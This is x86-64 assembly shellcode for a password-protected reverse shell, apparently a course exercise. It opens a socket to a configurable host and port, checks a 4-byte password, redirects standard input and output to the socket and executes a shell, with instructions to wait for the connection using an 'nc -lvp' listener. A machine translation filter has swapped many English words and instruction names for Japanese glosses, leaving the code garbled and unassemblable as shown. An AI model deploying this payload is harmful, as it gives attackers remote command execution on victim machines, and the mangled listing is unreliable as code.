このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
; =================================================================== ; Password 保護するd 逆転する 爆撃する ; Author: SLAE64-1351 (Keyman) ; Date: 04/09/2014 ; ; Shellcode length: 136 bytes ; ; Description: ; ; Simple 逆転する 爆撃する (listens on port 4444 by default) with ; bytes password 保護. Using a 4 bytes long password is ; still reasonably strong for a 選び出す/独身-発射 関係 and keeps ; the code shorter. ; ; To change the port or the password just 修正する the values of the ; exp_port and exp_pass "variables" below. ; ; Before the code gets 遂行する/発効させるd make sure to create a listener: ; ; nc -lvp <port number> ; ; After you receive the 関係 you will see no password ; 誘発する. Just type in the 4 bytes long password and 攻撃する,衝突する enter. ; If the password matches, you are ready to type OS 命令(する)s. ; ; =================================================================== 全世界の _start section .text ; ------------------------------------------------------------------- ; Preprocessor 指示的なs so you can easily change the port and the ; password. ; ------------------------------------------------------------------- ; Host to connect to. Please 公式文書,認める that this value will have ; 0x02020202 追加するd to it, this way 避けるing the NULL bytes. %define exp_host 0xFEFDFE7D ; 127.0.0.1 ; Port number to listen on. %define exp_port 0x5c11 ; 4444 ; Password to use. Make sure it's not longer than 4 bytes. %define exp_pass 0x6c6c6568 ; hell ; ------------------------------------------------------------------- ; DO NOT TOUCH ; preprocessor 指示的なs so syscalls can be easily 言及/関連d ; ------------------------------------------------------------------- %define sys_connect 42 %define sys_read 0 %define sys_execve 59 %define sys_dup2 33 _start: ; --------------------------------------------------------------- ; (米ソ間の)戦略兵器削減交渉: create socket ; --------------------------------------------------------------- xor rax, rax 押し進める rax ; saving for sockaddr 押し進める rax ; struct 押し進める rax ; (疑いを)晴らす rax later 押し進める rax ; 始める,決める rdx to 0 pop rdx ; 議定書 mov al, 2 押し進める rax 押し進める rax pop rsi pop rdi ; PF_INET shr rsi, 1 ; SOCK_STREAM 追加する al, 39 ; socket syscall (41) syscall ; --------------------------------------------------------------- ; (米ソ間の)戦略兵器削減交渉: create struct ; ; srv_addr.sin_family = AF_INET; ; srv_addr.sin_addr.s_addr = INADDR_ANY; ; srv_addr.sin_port = htons(portno); ; ; This is how it looks like on the stack: ; 0x02 0x00 0x11 0x5c 0x7f 0x00 0x00 0x01 ; 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ; --------------------------------------------------------------- ; TODO: have to make this shorter somehow mov byte [rsp], 2 ; 始める,決める values mov word [rsp+2], exp_port mov dword [rsp+4], exp_host 追加する dword [rsp+4], 0x02020202 押し進める rsp pop rsi ; addr of struct in rsi ; --------------------------------------------------------------- ; (米ソ間の)戦略兵器削減交渉: connect ; --------------------------------------------------------------- ; rdx is still 0 押し進める rax ; socket fd pop rdi 追加する dl, 16 mov al, sys_connect syscall ; --------------------------------------------------------------- ; get passwd ; ; We will work with a 4 byte password, should be more than ; enough as no brute 軍隊ing is possible. Chances to guess ; the 権利 value is 0. Of course passwd should not 含む/封じ込める ; null bytes. ; ; n = read(newsockfd,衝撃を和らげるもの,4); ; --------------------------------------------------------------- 押し進める rax ; 衝撃を和らげるもの filled with 0s 押し進める rsp ; 体制/機構 pointer to buf pop rsi sub rdx, 12 ; 始める,決める bytes to read (4) syscall ; compare pass received with valid pass and 出口 if no match 押し進める rax pop rcx 押し進める rdi ; save socket pop rax sub rcx, 3 ; read only once 押し進める rsp pop rdi 押し進める exp_pass 押し進める rsp pop rsi cmpsq jne passfail ; passwd match, give 爆撃する 爆撃する: ; --------------------------------------------------------------- ; 6. exec 爆撃する ; --------------------------------------------------------------- 追加する cl, 2 ; rcx is 1, so 追加する 2 = 3 押し進める rax ; 回復する socket pop rdi dup_loop: 押し進める rcx ; have to save rcx as dup2 ; changes it's value xor rax, rax sub rcx, 1 押し進める rcx pop rsi 追加する al, sys_dup2 syscall pop rcx ; 回復する the 反対する 宙返り飛行 dup_loop jmp mytext code: pop rdi mov [rdi+7], BYTE al 押し進める rax pop rdx 追加する al, sys_execve syscall mytext: call code MyText: db '/貯蔵所/sh', 0x41 passfail: